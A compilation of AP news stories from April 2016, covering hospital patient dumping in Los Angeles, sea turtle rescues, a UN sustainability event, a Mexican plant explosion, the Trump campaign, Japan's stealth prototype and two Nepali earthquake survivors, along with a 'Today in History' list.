Los Angeles City Attorney Mike Fueur, center, and Deputy City Attorney Will Jay Pirkey, left, talk during a news conference on Thursday, April 21, 2016 at City Hall in Los Angles about patient dumping. A fourth Los Angeles-area hospital in less than three years has settled a civil lawsuit over a chronic problem in the nation's second-largest city, dumping homeless patients on the streets after they've been discharged, sometimes while still needing medical attention. (AP Photo/Amanda Lee Myers)

"There is no place in our society for patient dumping," Feuer said. "We all know how vulnerable any of us would be when we're released from a medical facility. Imagine how much more vulnerable one would feel if one were released and had no place to go."

The Good Samaritan case involves a former patient who was found on the streets in December 2014 with a visibly infected leg, the city attorney's office said. He was found a couple of miles from downtown after being released from the hospital's emergency room with only a bus token, Feuer said. He had to be hospitalized again for his infection.

The hospital disputes the allegations and said it settled the lawsuit to avoid protracted litigation.

"Good Samaritan Hospital remains committed to providing accessible, quality, cost-effective and compassionate health care services," the facility said in a statement. "Our goal is to deliver the best possible care to anyone who comes through our door."

The hospital said its standard practice is to work with homeless patients on discharge plans that include placing them in appropriate facilities "if the patient accepts the recommendations."

The practice of leaving patients on the streets of Los Angeles, most often in the 50-block area of downtown known as Skid Row, has been a problem for years.

The issue garnered national attention in 2006 after a surveillance camera at a Skid Row rescue mission recorded a 63-year-old woman with dementia wandering around the crime-plagued area in a hospital gown and slippers.

The city attorney at the time said a Kaiser Permanente hospital put the woman in a taxi and sent her to the neighborhood even though she had serious, untreated health problems.

The next year, a paraplegic man in a soiled gown was seen sliding along a Skid Row sidewalk with his hands, dragging a broken colostomy bag behind him. Police said the man was dropped there by a van driver from Hollywood Presbyterian Medical Center.

Both hospitals settled those cases.

Feuer has been pushing hospitals to adopt lengthy protocols for discharging the homeless that include assessing their mental status, identifying any disabilities, making sure they are connected with community resources, and a plan for how they will access food, clothing, shelter and follow-up appointments.

While some have adopted the protocols, Feuer said "too many" have not.

"We're talking about human beings whose situations are grave and for which there are solutions," Feuer said, telling reporters to "stay tuned" about a possible city ordinance requiring hospitals to adopt the policies.

The Rev. Andy Bales, CEO of a rescue mission in Skid Row, said many hospitals try to properly discharge the homeless, but facilities that could accept them often are full, frustrating overworked hospital staffers.

"We're all to blame," Bales said. "It's going to take a heart change in our whole city and county to provide the services so hospitals have a place to call."

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Follow Amanda Lee Myers on Twitter at https://twitter.com/AmandaLeeAP . Her work can be found at http://bigstory.ap.org/content/amanda-lee-myers .
Recovering sea turtles flown from Seattle to San Diego

SEATTLE (AP)  Two sea turtles that landed cold, sickly and malnourished on shores far beyond their normal living range have been flown aboard a U.S. Coast Guard plane from Seattle to San Diego to finish rehabilitation.

The olive ridley and the Pacific green turtles that left Seattle on Thursday were part of a record-setting spike of sea turtle strandings on Pacific Northwest beaches this past winter. Ten turtles were found on shores in Oregon, Washington and northern California. Only three survived, according to U.S. Fish and Wildlife Service.

Among the survivors hitching a ride was Tucker, a male olive ridley turtle between 15 to 20 years of age, found on the Oregon coast.

His head covered to reduce stress, Tucker the Turtle is moved from his quarantine tank at the Seattle Aquarium by Dr. Lesanna Lahner and biologist Joel Hollander on Thursday, April 21, 2016 in Seattle. Biologist Amy Green, rear, will accompany Tucker on the U.S. Coast Guard flight to San Diego. The aquarium built the crate for the flight. (Alan Berner/The Seattle Times via AP) SEATTLE OUT; USA TODAY OUT; MAGS OUT; TELEVISION OUT; NO SALES; MANDATORY CREDIT TO BOTH THE SEATTLE TIMES AND THE PHOTOGRAPHER

"They shouldn't be up here but it's more and more frequent that it is happening. Changes in climate could be part of that. We don't really know the exact cause of why this is becoming more and more frequent but it's becoming a problem," said Lesanna Lahner, Seattle Aquarium veterinarian.

The Pacific green turtle came ashore even further north, landing on Canada's Vancouver Island. Nicknamed Comber, this sea turtle is believed to be the first turtle to be successfully rehabilitated in Canada. Comber spent three months at the Vancouver Aquarium. Tucker spent a similar amount of time in Seattle.

Both turtles had 40-degree body temperatures when they were rescued. Tucker got severe pneumonia and had to be treated in a hyperbaric chamber because he developed air in his tissue and has a buoyancy problem

The turtles will finish their rehabilitation at SeaWorld San Diego. The plan is to release them in the summer. Their normal living range usually tops out around mid-California.

"We like to release them into the most optimal environments. So we like to release them when the waters are the warmest and there is the most amount of food," Lahner said.

The flight from Seattle was a joint operation among U.S. Fish and Wildlife Service, the Seattle Aquarium, Vancouver Aquarium and the U.S. Coast Guard, which provides low altitude flying and a warm cabin for the turtles, said Laura Todd, a supervisor at the U.S. Fish and Wildlife Service.

"We've hauled seals, fur seals, monk seals, we've hauled birds," said Ron Clark a former flotilla commander now volunteering at the US Coast Guard.

U.S. Coast Guard crew members load Tucker the Turtle aboard a C-130 cargo plane for the non-stop flight to San Diego from Boeing Field on Thursday April 21, 2016 in Seattle. Two sea turtles that landed sickly and malnourished on shores far beyond their normal living range have been flown aboard a U.S. Coast Guard plane from Seattle to San Diego to finish rehabilitation. (Alan Berner/The Seattle Times via AP) SEATTLE OUT; USA TODAY OUT; MAGS OUT; TELEVISION OUT; NO SALES; MANDATORY CREDIT TO BOTH THE SEATTLE TIMES AND THE PHOTOGRAPHER
UN event spotlights 17 goals to end poverty and save planet

UNITED NATIONS (AP)  A 17-year-old Honduran-American activist called for a youth movement to eradicate poverty and preserve the planet. The president of the tiny Pacific island nation said urgent funds are needed to develop his country and prevent the devastating impact of climate change. Actor and advocate Forest Whitaker urged people around the globe to join forces to achieve U.N. goals by 2030 that would transform the world.

They were among more than 150 speakers at a high-level U.N. General Assembly event Thursday to spur implementation of the 17 goals and 169 specific targets adopted by world leaders last September. They range from ensuring "healthy lives" and quality education for all to eradicating poverty, achieving gender equality, ensuring clean water, sanitation and reliable modern energy, and promoting economic growth and good governance.

"We are now in Year One of our 15-year journey," U.N. Deputy Secretary-General Jan Eliasson told the leaders from government, business and civil society. "We have embarked on an undertaking of great scope and ambition, creating hopes among millions around the world."

The event took place ahead of Friday's U.N. ceremony where leaders and diplomats from more than 160 countries are expected to sign last December's landmark agreement aimed at preventing climate change.

Eliasson said that reducing the effects of climate change is crucial for progress on nearly all other goals.

Victoria Barrett, the 17-year-old climate activist, appealed for young people to help lead efforts to achieve the goals, saying: "We have been given the chance to save history."

"We are all the 18 million people of Bangladesh projected to be climate refugees by mid-century," she said. "We are all the girls in sub-Saharan Africa and Asia that still face barriers going to school. We are all the indigenous people around the world fighting for their homeland. ... We are all the 3.1 million children that die every year from lack of proper nourishment, and we together must unite to save ourselves."

Barrett said she will be 31 years old and possibly married with a family in 2030, the target for achieving the new goals, "and I want to be able to tell my children that I did all that I could for them."

Nauru's President Baron Waqa, speaking on behalf of the group of Pacific Small Island Developing States, said all the countries need money from donors and investors to achieve the goals. Without funds, he said, implementation will be exceedingly difficult.

Waqa pointed to several major constraints: projects that the island nations are often told are too small to be funded, complicated applications and reporting requirements that deter the countries from engaging, and private investment which "is even more difficult" to attract.

Whitaker, who is a U.N. advocate for the goals, said that with people's lives and fates "intertwined as never before," he is excited about the future.

"These connections represent the possibility for humankind to ascend to unimaginable heights of innovation and progress," he said.

But Whitaker also stressed that the world is facing new challenges and risks, including rising extremism and the fact that one in eight people still lives on less than $2 a day.

If the U.N. goals are to be achieved, he said, "this has to be an international movement, a coming together of people, a rallying around a common cause that we have never witnessed before in our history."

Cuba's Justice Minister Maria Esther Reus Gonzalez said a lack of resources can't be used as an excuse for not implementing the goals.

She pointed to the $1.7 trillion used annually for military spending saying: "Let that colossal amount be used to foster development and welfare of the world population."

Iceland's Environment Minister Sigrun Magnusdottir said the country will do its part to implement the goals nationally including a new campaign to cut food waste. Internationally, she said, Iceland is training experts from developing countries on gender equality, fisheries, land restoration and using geothermal energy.

Thani Al Zeyoudi, the United Arab Emirates' minister for climate change, said the UAE and other donors have deployed renewable energy projects totaling $840 million in over 25 developing countries.
Friday April 29

Today is Friday, April 29, the 120th day of 2014. There are 246 days left in the year.

Highlights in history on this date:

1429 - Joan of Arc enters Orleans, France, and defeats English.

1628 - Sweden and Denmark sign defense treaty against Duke of Wallenstein, bringing Sweden into the Thirty Years' War.

1706 - Electors of Bavaria and Cologne are outlawed by Holy Roman Empire.

1781 - French fleet under Admiral Suffren prevents Britain from seizing Cape of Good Hope.

1826 - Liberal constitution is promulgated in Portugal for a hereditary monarchy.

1848 - Pope Pius IX dissociates himself from Italian national movement.

1861 - Maryland's House of Delegates votes against seceding from the Union of the United States.

1862 - New Orleans falls to Union forces during the American Civil War.

1913 - Gideon Sundback of Hoboken, New Jersey, patents the zipper.

1916 - The Easter Rising in Dublin collapses as Irish nationalists surrender to British authorities.

1918 - Germany's main offensive on Western Front in World War I ends.

1928 - British ultimatum forces Egypt to provide freedom of public meetings.

1931 - U.S. President Herbert Hoover receives the King of Siam. It was the first time an absolute monarch had traveled to the White House.

1945 - U.S. soldiers in Germany liberate 32,000 Nazi victims from a concentration camp in Dachau in World War II; in a Berlin bunker, Adolf Hitler marries Eva Braun and designates Admiral Karl Doenitz his successor. Hitler kills himself the next day.

1946 - Anglo-U.S. committee advises against partition of Palestine; 28 former Japanese leaders are indicted in Tokyo as war criminals.

1965 - Australia decides to send troops to South Vietnam.

1973 - Israel decides to expand civil rights of its 336,000 Arab citizens to reward Israeli Arab community for its loyalty.

1974 - U.S. President Richard Nixon announces he is releasing edited transcripts of secretly made White House tape recordings related to the Watergate scandal.

1975 - U.S. task force evacuates foreigners and Vietnamese by helicopter from Saigon.

1981 - Truck driver Peter Sutcliffe admits in a London court to being the "Yorkshire Ripper," the killer of 13 women in northern England during a five-year period.

1989 - Police arrest about 2,200 workers and students in South Korea to try to block labor rally.

1990 - Wrecking cranes tear down the section of the Berlin Wall surrounding the Brandenburg Gate, the wall's most famous section.

1992 - A jury in Los Angeles acquits policemen charged with a videotaped beating of black man Rodney King, setting off three days of riots that kill 55 people and causes $1 billion in damage.

1993 - Gunmen in Costa Rica free 18 Supreme Court justices they had held hostage for four days. Police capture the five gunmen after a brief gun battle.

1994 - South Africa's first democratic elections end after an extra day of balloting intended to overcome delays and confusion.

1995 - In Sri Lanka, Tamil separatist rebels down a military jet with a missile, killing 52 people and escalating their 12-year war for a homeland.

1996 - Heavy fighting between rival factions sends civilians fleeing for shelter again as a 10-day-old truce collapses in Monrovia, Liberia.

1997 - Astronaut Jerry Linenger and cosmonaut Vasily Tsibliyev go on the first U.S.-Russian space walk.

1998 - Brazil announces an unprecedented plan to protect an area of Amazon forest half the size of France.

2000 - Police in Azerbaijan beat back more than 1,000 demonstrators seeking to stage an unsanctioned opposition rally in the capital Baku.

2003 - Pakistani police in Karachi arrest six suspected members of the al-Qaida terrorist network who allegedly were planning attacks on U.S. targets in Pakistan.

2005 - U.N. peacekeepers sexually abused and exploited local women and girls in Liberia, a U.N. spokesman reports. Allegations that were found to be substantiated in Liberia are the latest to be leveled against U.N. peacekeepers who had been accused of sexually abusing the very people they were sent to protect in missions from Bosnia and Kosovo to Cambodia, East Timor and Congo.

2006 - Bolivian President Evo Morales joins Fidel Castro of Cuba and Hugo Chavez of Venezuela in Havana for an endorsement of a socialist trade initiative aimed at providing an alternative to U.S.-backed free trade efforts in Latin America.

2007 - Gunmen seriously wound one of Iraq's best known radio and television journalists, Amal al-Moudares, near her home in the capital. On April 5, Baghdad police found the bullet-ridden body of Khamael Muhsin, another famous radio and TV presenter.

2008 - The United States and France introduce a U.N. resolution that would allow countries to chase pirates off Somalia's coast into the country's territorial waters and arrest the sea thieves.

2009 - The Geneva-based World Health Organization raises its alert level for the fast-spreading swine flu to its next-to-highest notch, signaling a global pandemic could be imminent.

2010 - A 47-year-old knife-wielding man slashes 28 children, two teachers and a security guard in the second such school attack in China in two days. No motive was given.

2011  Prince William and Kate Middleton smile and blush as they start their life as future king and queen of Britain. A day of seamless pageantry inspires hopes that this royal couple might live happily ever after.

2012  The surprising escape of a blind legal activist from house arrest to the presumed custody of U.S. diplomats is buoying China's embattled dissident community even as the government lashes out, detaining those who helped him and squelching mention of his name on the Internet.

2013  Syria's prime minister narrowly escapes an assassination attempt in the heart of the heavily defended capital, laying bare the vulnerability of President Bashar Assad's regime.

2014 The Italian appeals court that reinstated the conviction against Amanda Knox in her British roommate's 2007 murder said in a lengthy reasoning made public Tuesday that Knox herself delivered the fatal blow out of a desire to "overpower and humiliate" the victim.

Today's Birthdays:

John Arbuthnot, English physicist-satirist (1667-1745); Alexander II, czar of Russia (1818-81); Japan's Emperor Hirohito (1901-1989); Sir Malcolm Sargent, English conductor (1895-1967); Zubin Mehta, Indian conductor (1936--); Jerry Seinfeld, U.S. comedian (1954--); Michelle Pfeiffer, U.S. actress (1958--); Daniel Day-Lewis, English-born actor (1957--); Uma Thurman, U.S. actress (1970--).

Thought For Today:
24 dead in Mexico petrochemical plant blast, 8 still missing

COATZACOALCOS, Mexico (AP)  The death toll from an explosion that ripped through a petrochemical plant on Mexico's southern Gulf coast is now 24, state oil company Petroleos Mexicanos reported.

Pemex raised the toll late Thursday from the 13 fatalities previously known and said eight workers remained missing. It also said 19 people remained hospitalized, with 13 of them in serious condition.

In a statement, the company said 12 of the bodies had been identified and eight of them delivered to family members.

A relative of a missing worker argues with a Mexican army soldier as he demands to be allowed to get more information, outside the Pajaritos petrochemical complex in Coatzacoalcos, Mexico, Thursday, April, 21, 2016. At least 13 people are now confirmed dead and scores of others were injured in a Wednesday afternoon explosion inside the plant. The state oil company Petroleos Mexicanos, or Pemex, said the plant, operated by Mexichem, in partnership with Pemex, produces vinyl chloride, a hazardous industrial chemical. (AP Photo/Felix Marquez)

Earlier in the day, President Enrique Pena Nieto toured the facility in the industrial port city of Coatzacoalcos and met with relatives desperate for word on the fate of loved ones still unaccounted for.

"I understand the anxiety, the worry, the anguish you are going through," Pena Nieto said, assuring them that both Pemex and the Mexichem company, which co-operated the plant, would fulfill their responsibilities and compensate those hurt by the accident.

About 30 families gathered at a plant entrance road, where a sharp chemical smell still hung in the air about 2 kilometers (a mile) from where the explosion occurred Wednesday afternoon. Many wore facemasks to ward off the pungent odor.

Shoving broke out as people unsuccessfully tried to force their way into the installation. Some shouted at marines and soldiers who were called in to guard the facility, and they threw rocks at a white government SUV when it arrived at the scene.

Rosa Villalobos traveled about four hours by bus from the city of Veracruz to scour Coatzacoalcos hospitals looking for her son, Luis Alfonso Ruiz Villalobos, a 25-year-old worker at the plant. When she couldn't find him she showed up at the plant entrance.

"What I want is for justice to be done in my son's case, for there to be no impunity," Villalobos said. "I'm going to stay here. Even though I have no money, even though I have nothing to eat, I'm staying put."

Some volunteers brought food and drink to the families. After a while authorities began taking people inside in small groups to see a list of those confirmed dead. Some left crying after seeing their loved ones' names.

Pemex said Thursday night that it was prioritizing the safety of those inspecting the plant and teams were still gradually gaining access to more parts of the site.

The blast forced evacuations of nearby areas as it sent a toxin-filled cloud billowing into the air and injuring more than 100 workers.

Jose Antonio Gonzalez Anaya, Pemex's director, told Radio Formula that the explosion was caused by a leak of an as-yet unknown origin.

Antonio Mariche, who accompanied the Villalobos family in search of Luis Alfonso, vowed that the families would demand a full account of what happened.

"To the president, to the state governor, to the head of Pemex, we will not allow any more cover-ups like have happened with previous accidents," Mariche said. "They have covered up the numbers (in the past); there have been people who disappeared and regrettably never appeared. ... We will go to the last consequences to make sure this doesn't keep happening."

The Clorados 3 plant of Petroquimica Mexicana de Vinilo, where the explosion happened, produces the hazardous industrial chemical vinyl chloride.

In early February, a fire killed a worker at the same facility.

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Associated Press writers Mark Stevenson and Peter Orsi in Mexico City contributed to this report.

Rosa Villalobos stands in front of army soldiers as she holds up a photo of her son, Luis Alfonso Ruiz, 25, (on the right of the photo), as she tries to get information on his whereabouts outside one of the main entrances to the Pajaritos petrochemical complex in the city of Coatzacoalcos, Mexico, Thursday, April, 21, 2016. Ruiz is one of several workers still unaccounted for while at least 13 people are now confirmed dead and scores of others have been injured in an explosion inside this plant. The state oil company, Petroleos Mexicanos, or Pemex, said explosion occurred in a plant that produces vinyl chloride, a hazardous industrial chemical. (AP Photo/Felix Marquez)

Relatives of missing workers gather outside the Pajaritos petrochemical complex in Coatzacoalcos, Mexico, Thursday, April, 21, 2016. At least 13 people are now confirmed dead and scores of others were injured in the Wednesday afternoon explosion inside the plant. The state oil company Petroleos Mexicanos, or Pemex, said the plant, operated by Mexichem, in partnership with Pemex, produces vinyl chloride, a hazardous industrial chemical. (AP Photo/Felix Marquez)

A relative places a list of missing workers outside the local hospital in Coatzacoalcos, Mexico, late Wednesday April 20, 2016. An explosion rocked the nearby petrochemical plant of the state oil company Petroleos Mexicanos ( Pemex ) on Mexico's southern Gulf coast, causing evacuations in the area as a fire billowed a toxin-filled cloud into the air. Officials said three workers died and more than 100 people were injured.(AP Photo/Felix Marquez)

BEST QUALITY AVAILABLE - In this video grab a large plume of smoke rises from the Mexican State oil company Petroleos Mexicanos' petrochemical plant after an explosion in Coatzacoalcos, Mexico, Wednesday, April 20, 2016. The explosion killed several people, injuring dozens and sending flames and a toxin-filled cloud into the air, officials said. (Inmel Enoc via AP)

A plume of smoke rises over the State oil company Petroleos Mexicanos' petrochemical plant in Coatzacoalcos, Mexico, Wednesday April 20, 2016. An explosion ripped through a petrochemical plant on the southern coast of the Gulf of Mexico on Wednesday, killing 3 people, injuring dozens and sending flames and a toxin-filled cloud into the air, officials said. (AP Photo/Felix Marquez)

Mexican army soldiers wearing protective face masks stand guard at an entrance of the Pajaritos petrochemical complex in Coatzacoalcos, Mexico, Thursday, April, 21, 2016. At least 13 people are now confirmed dead and scores of others were injured in a Wednesday afternoon explosion inside the plant. The state oil company Petroleos Mexicanos, or Pemex, said the plant, operated by Mexichem, in partnership with Pemex, produces vinyl chloride, a hazardous industrial chemical. (AP Photo/Felix Marquez)
US, Britain warn citizens to stay off south Philippine area

MANILA, Philippines (AP)  The United States and Britain have warned their citizens to stay away from a southern Philippine region where suspected Muslim extremists are behind a wave of kidnappings, including those of 18 Indonesian and Malaysian tugboat crewmen.

The U.S. State Department warned Americans in an advisory Thursday to defer non-essential travel to the Sulu archipelago "due to the high threat of kidnapping of international travelers, increased threat of maritime kidnappings against small boats ... and violence linked to insurgency and terrorism there."

The British government on Wednesday issued a similar travel warning, citing, "a high threat from terrorism, including kidnapping."

Abu Sayyaf militants have been suspected of seizing the Indonesian and Malaysian crewmen at gunpoint in separate attacks on three tugboats in recent weeks, sparking security concerns in the region.

Malaysia, Indonesia and the Philippines plan to convene a meeting of maritime officials to discuss ways to boost security along their sea borders, including using satellite technology to spot suspicious vessels and stop them before a possible attack.
Trump team tells party he has been 'projecting an image'

HOLLYWOOD, Florida (AP)  Donald Trump's chief lieutenants told skeptical Republican leaders that the party front-runner has been "projecting an image" so far in the 2016 primary season and "the part that he's been playing is now evolving" in a way that will improve his standing among general election voters.

The message, delivered Thursday behind closed doors in a private briefing, is part of the campaign's intensifying effort to convince party leaders that Trump will moderate his tone in the coming months to help deliver big electoral gains this fall, despite his contentious ways.

Even as his team pressed Trump's case, he raised fresh concern among some conservatives by speaking against North Carolina's "bathroom law," which directs transgender people to use the bathroom that matches the sex on their birth certificates. Trump also came out against the federal government's plan to replace President Andrew Jackson with the civil-rights figure Harriet Tubman on the $20 bill.

Republican presidential candidate Donald Trump arrives at a rally, Thursday, April 21, 2016, at the Pennsylvania Farm Show Complex and Expo Center in Harrisburg, Pa. (AP Photo/Julio Cortez)

The developments came as the Republicans' messy fight for the White House spilled into a seaside resort in south Florida. While candidates in both parties fanned out across the country before important primary contests in the Northeast, Hollywood's Diplomat Resort & Spa was transformed into a palm-treed political battleground.

Trump's newly hired senior aide, Paul Manafort, made the case to Republican National Committee members that Trump has two personalities: one in private and one onstage.

"When he's out on the stage, when he's talking about the kinds of things he's talking about on the stump, he's projecting an image that's for that purpose," Manafort said in a private briefing.

"You'll start to see more depth of the person, the real person. You'll see a real different way," Manafort said.

The Associated Press obtained a recording of the closed-door exchange.

"He gets it," Manafort said of Trump's need to moderate his personality. "The part that he's been playing is evolving into the part that now you've been expecting, but he wasn't ready for, because he had first to complete the first phase. The negatives will come down. The image is going to change."

The message was welcomed by some party officials but criticized by others who suggested it raised doubts about his authenticity.

"He's trying to moderate. He's getting better," said Ben Carson, a Trump ally who was part of the Republican's front-runner's RNC outreach team.

Republican rival Ted Cruz seized on Manafort's remarks in a radio interview late Thursday.

"I'm actually going to give Trump a little bit of credit here. He's being candid. He's telling us he's lying to us," Cruz told host Mark Levin. "You look at what his campaign manager says, is that this is just an act. This is just a show."

The Texas senator continued: "When Donald talks about building a wall, when Donald talks about enforcing immigration laws, when Donald talks about, I guess, anything, that it's all an act, a show."

Trump is increasingly optimistic about his chances in five states holding primary contests Tuesday: Rhode Island, Connecticut, Pennsylvania, Delaware and Maryland. He is now the only Republican candidate who can possibly collect the 1,237-delegate majority needed to claim the nomination before the party's July convention.

Cruz hopes Trump will fall short of a nomination-clinching delegate majority so that he can turn enough delegates to his side at the convention to give him the prize.

While Trump's top advisers were promising Republican leaders that the party front-runner would moderate his message, the candidate was telling voters he wasn't ready to act presidential.

"I just don't know if I want to do it yet," Trump said during a raucous rally in Harrisburg, Pennsylvania, Thursday that was frequently interrupted by protesters.

"At some point, I'm going to be so presidential that you people will be so bored," he said, predicting that the size of his crowds would dwindle if he dialed back his rhetoric.

There was evidence of drama on the Democratic side as well.

Prominent Southern Democrats urged Bernie Sanders to stop dismissing Hillary Clinton's landslide primary wins across the South, where the front-runner's popularity among non-whites has helped fuel her success.

Sanders said the results in the South "distort reality" because they came from the country's "most conservative region."

Don Fowler of South Carolina, a former chairman of the Democratic National Committee, and other Clinton supporters told Sanders in a letter that "our national Democratic leaders" should "invest in our races and causes  to amplify our voices, not diminish them."

___

Associated Press writers Alan Fram in Hollywood, Jill Colvin in New York, Julie Bykowicz in Washington, Julie Pace in Harrisburg, Pennsylvania, and Errin Haines Whack in Philadelphia contributed to this report.

Republican presidential candidate Donald Trump speaks during a rally, Thursday, April 21, 2016, at the Pennsylvania Farm Show Complex and Expo Center in Harrisburg, Pa. (AP Photo/Julio Cortez)

Republican presidential candidate Donald Trump supporter Eric Starr shows his sign toward a line of protesters before a rally for Trump, Thursday, April 21, 2016, outside the Pennsylvania Farm Show Complex in Harrisburg, Pa. (Chris Dunn/York Daily Record via AP) YORK DISPATCH OUT; MANDATORY CREDIT
Japanese prototype stealth plane makes first flight

TOKYO (AP)  Japan's first domestically manufactured stealth plane has made its first flight, making Japan one of only a handful of nations with airplane stealth capabilities.

The red-and-white prototype X-2 took off from Nagoya airport Friday and flew 25 minutes to an Air Self-Defense Force base in nearby Gifu Prefecture.

The X-2 is designed to test stealth technology that could be used in Japan's next-generation fighter jet.

The prototype of Japan's first stealth aircraft type X-2 takes off an airport in Toyoyama, Aichi prefecture, central Japan Friday, April 22, 2016. Japan's first domestically-manufactured stealth plane successfully made its first flight on Friday, putting the nation at the forefront of only a handful of nations with stealth capabilities. (Kyodo News via AP) JAPAN OUT, MANDATORY

The stealth plane, with a 14-meter- (45-foot-) long fuselage and 9-meter- (30-foot-) wingspan, comes with radar-resistant features, such as a canopy with stealth-enhancing coating.

It was developed by a consortium led by Mitsubishi Heavy Industries at a cost of 39.4 billion yen ($360 million), according to Japanese media reports.
Girls scarred by Nepal quake share friendship, but not luck

KATHMANDU, Nepal (AP)  Nirmala pouts when her father fits the prosthetic leg onto her stump and wraps the long straps around her waist. He whispers quiet encouragement in her ear as she grumbles. Finally, she limps around the Kathmandu sweatshop that is now her home.

As soon as she can she takes off the plastic leg, dancing on one foot through the little textile factory, including the makeshift room where her family lives.

Nirmala lives a few minutes from where a neighbor's apartment collapsed around her in last year's earthquake, crushing her right leg and requiring it to be amputated inches below her waist. The barely-contained bundle of 8-year-old exuberance dreams of being a doctor, or maybe a famous actress. Yet she still has not returned to school, and her exhausted father has no way to get her back.

In this Sept. 8, 2015 photo, best of friends Khendo Tamang, left, and Nirmala Pariyar, both 8, wait to be measured for a new prosthetic legs in Kathmandu, Nepal. The girls became close friends while in recovery after each one lost a leg in Nepal's massive April 25, 2015 earthquake that killed nearly 9,000 people dead and more than 22,000 injured. (AP Photo/Niranjan Shrestha)

Her best friend, Khendo, lives on the other side of town, crowded into her aunt's small apartment. Khendo lost her left leg in the quake, but she doesn't mind her prosthesis. She moves easily with a pair of crutches, looks forward to class and loves eating the dried sweet berries called kafal while she's waiting for the school bus.

The earthquake brought the two girls together, putting them in the same ward at Kathmandu's Bir Hospital. Both were 7 years old at the time. Both are very close to their fathers, poor men who can barely write their own names. Both owe their lives to strangers.

At first, the girls spoke no common language  Nirmala speaks only Nepali, this country's main language, and Khendo initially could converse only in Tamang, the language of a Buddhist minority  but their friendship was immediate and absolute. They whispered secrets, learned to walk again and often fell asleep in the same bed.

They are two little girls, unbroken by their lost limbs, whose resilience is matched only by their excitement at the world around them.

Their futures, though, appear headed in very different directions. Khendo had a stroke of luck that could change her life: A foreign traveler who stumbled across her when she was badly injured is now paying to send her to a private school in Kathmandu. Nirmala did not.

"She's a strong kid," said Chitra Bahadur Nepali, Nirmala's father, a perpetually exhausted man who earns less than $3 a day sewing the loose-fitting hippyish clothes so popular here among Western travelers. "But she's not going to school ... It's been almost a year now since she's been in class."

He scoffed when asked if he thought help would come from the government  to rebuild his village home, or help educate his daughter.

"Forget about it," he said, shaking his head.

That is how most of this country has felt since the massive 7.8-magnitude April 25 earthquake left nearly 9,000 people dead, more than 22,000 injured and over 600,000 homes destroyed. So little has been rebuilt, so few lives have been repaired.

The government spent most of the past year wrangling over the country's constitution, a debate that sparked ethnic turmoil in Nepal's plains, a diplomatic spat with New Delhi and, for more many months, a blocked border with India that reduced fuel supplies to a trickle.

Only in the past few weeks has official attention turned squarely toward the earthquake.

"The reconstruction work following the earthquake has not progressed at the speed we expected," Prime Minister Khadga Prasad Oli acknowledged in a recent speech. "The question for us is how to move ahead now."

The lack of speed is easy to see.

Visit the neighborhood around Kathmandu's Gangabu bus terminal, where about 140 people were killed and more than 200 buildings were damaged or destroyed. So far, just a handful of small structures have been rebuilt. Or go to the back lanes of Bhaktapur, an ancient city just outside Kathmandu, where entire rows of houses remain nothing but piles of rubble.

Visit the villages of Sindhupalchowk, the sprawling mountainous district where house after house after house was destroyed. Eleven months later, the wreckage is neatly piled up  old stones in one area, wooden beams in another. The dirt has been swept away, and sheds have been built out of corrugated metal sheets distributed after the quake. Those sheds have been home to thousands of people for the past year.

In many villages, not a single permanent house has been rebuilt.

Officials have warned villagers that vague new regulations forbid rebuilding their houses using traditional construction methods  basically using stacked rocks, mud and a handful of wooden beams. Small modern houses, with concrete pillars reinforced with steel rods, can cost $10,000, a fortune in these villages and far beyond the help the government has promised.

"It is a glaring indictment of the state, that it gives citizens no reason to expect much from their elected representatives," the Nepali Times newspaper said in a recent editorial, summing up how so many people in Nepal feel.

So far, only 661 families whose homes were destroyed received any reconstruction money. They have been paid 50,000 rupees, the first installment of the promised 200,000 rupees  about $1,900  promised by the government. In his speech, Oli said widespread distribution of the funds would begin late April.

Nirmala's father, Nepali, wonders if he'll get anything.

He moved to Kathmandu seven years ago to make extra money, leaving his wife and children on the family farm in eastern Nepal. Unfortunately, Nirmala had been visiting him last April. When the quake hit that Saturday, he was out running errands and she was at a neighbor's watching television.

He started running home even as the city was still shaking. By then, though, Nirmala was gone, a bleeding rag doll picked up by a stranger and carried to a nearby clinic, which sent her to Kathmandu's main trauma ward at Bir Hospital.

The stranger came back to the wreckage, looking for Nirmala's family.

"He told me: 'I don't know if she's alive or dead, but you have to come quick,'" said Nepali, who rode to the hospital on the back of the man's motorcycle. He never found out his name.

That day began for Khendo in a village called Banskharka, four hours by bad roads from Kathmandu, where she lived with her parents and 13-year-old sister. It's a beautiful spot, high above a series of narrow river valleys, with terraced fields where farmers have grown buckwheat and vegetables for generations. Khendo, with her sister and grandmother, had walked to a neighbor's house that morning, squeezing inside where dozens of people were talking about ways to lessen the village's poverty. Minutes later, everything began to shake.

The area was devastated. More than 100 houses collapsed, including the home where Khendo had gone to watch the meeting. Her father, a gentle 41-year-old named Mangale Dong Tamang, dug through the wreckage for three hours until he found her. She was crying frantically, her leg nearly severed.

That was only the beginning. There was no ambulance to call, and the narrow mountain roads leading to the village were blocked in dozens of places by landslides.

Tamang also spent hours trying to find his mother and his other daughter, 13-year-old Dolma. In the end, he found only their bodies.

Finally, the family sought safety from aftershocks in an open field, and waited for the helicopter they were sure would come quickly.

Four days later, they were still waiting, increasingly sure Khendo would not survive.

That was when a traveler, a Westerner studying Buddhism in Nepal, arrived in the village to help. The man  they still don't know his full name  told them about an evacuation site perhaps 15 kilometers (10 miles) away. So Tamang picked up Khendo and began walking, sometimes hacking his way through brush with a machete-like knife. Six hours later, they arrived at a makeshift helipad. A few hours after that, Khendo was loaded onto a helicopter and flown to Kathmandu, to the same hospital where Nirmala had arrived a few days earlier.

The first days were terrible.

"'I'm in pain! I'm in pain!' That was all she would say," said Tamang.

For Nirmala, those initial weeks were a blur of confusion. "'Where's my leg?' she kept asking," said her father. "All I could do was say: 'It will be fine. It will be fine.'"

The next three months were often difficult for both girls. There were surgeries to clean their wounds, therapy to get them moving again and prostheses, built with the help of the aid group Handicap International, to be fitted.

But Nirmala's normally relentless cheeriness eventually re-emerged, and one day she found Khendo in another part of the hospital ward. Khendo was still badly depressed, crying and barely talking. Friendship, though, began pulling Khendo out of her despair, and soon the two girls were inseparable.

"They were such friends," said Tamang. "Whenever Nirmala went to the toilet, she went too .... If I bought something for Khendo, I'd also have to buy something for Nirmala."

It's been more than eight months since the girls were discharged from the hospital. Neither talks much about the earthquake anymore, their families say, or about the loss of their legs.

They also don't see one another very often, with Khendo in class on most days  that same traveler is paying all of her school fees, about $1,300 a year  and both families struggling just to keep afloat.

Nirmala's parents are desperate to find financial support to put her in school. But held back by their own illiteracy, they have no idea where to turn. All they know is she can no longer navigate the village paths to the school there, and only a private school would have the dormitory facilities so she could stay in the capital. That means tuition bills they simply cannot afford.

